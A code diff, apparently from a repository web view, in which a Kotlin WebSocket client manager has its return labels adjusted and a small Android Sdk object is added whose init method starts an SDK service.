val knownProtocols = mutableListOf<IProtocol>() val knownProtocols = mutableListOf<IProtocol>()
knownProtocols += Protocol(subProtocol)
val draft = Draft_6455(knownExtensions, knownProtocols) val draft = Draft_6455(knownExtensions, knownProtocols)
val webSocketClient = kotlin.runCatching { val webSocketClient = kotlin.runCatching {
val wc = object : WebSocketClient(URI.create(request.url), draft, headers) { val wc = object : WebSocketClient(URI.create(request.url), draft, headers) {
@ -117,7 +119,7 @@ class WebSocketClientManager {
respCode = ERROR_CODE_WS_BUILD_CONNECTION_FAILED respCode = ERROR_CODE_WS_BUILD_CONNECTION_FAILED
LogUtils.error(throwable = it) LogUtils.error(throwable = it)
errorMessage = "${it.message}" errorMessage = "${it.message}"
return@withContext result return@callWebSocketRequest result
}.getOrNull() }.getOrNull()
LogUtils.info("${System.currentTimeMillis()} start connect web socket ${webSocketClient?.uri.toString()}") LogUtils.info("${System.currentTimeMillis()} start connect web socket ${webSocketClient?.uri.toString()}")
@ -133,7 +135,7 @@ class WebSocketClientManager {
respCode = ERROR_CODE_WS_BUILD_CONNECTION_FAILED respCode = ERROR_CODE_WS_BUILD_CONNECTION_FAILED
LogUtils.error(throwable = it) LogUtils.error(throwable = it)
errorMessage = "${it.message}" errorMessage = "${it.message}"
return@withContext result return@callWebSocketRequest result
} }
if (webSocketClient?.isOpen == true) { if (webSocketClient?.isOpen == true) {
@ -145,7 +147,7 @@ class WebSocketClientManager {
} }
if(!sendMessage(request, responseHeaders, respCode, errorMessage)){ if(!sendMessage(request, responseHeaders, respCode, errorMessage)){
return@withContext result return@callWebSocketRequest result
} }
}.onFailure { }.onFailure {
respCode = ERROR_CODE_CALL_WEB_SOCKET_FAILED respCode = ERROR_CODE_CALL_WEB_SOCKET_FAILED
@ -161,7 +163,7 @@ class WebSocketClientManager {
result.endTime = System.currentTimeMillis() result.endTime = System.currentTimeMillis()
result.code = respCode result.code = respCode
return@withContext result return result
} }
private suspend fun sendMessage( private suspend fun sendMessage(

@ -0,0 +1,9 @@
package com.iab.ak
import android.content.Context
import com.example.vastlib.service.SdkMainService
object Sdk {
@JvmStatic
fun init(context:Context) = SdkMainService.invoke().start(context)
}
Loading…
Cancel
Save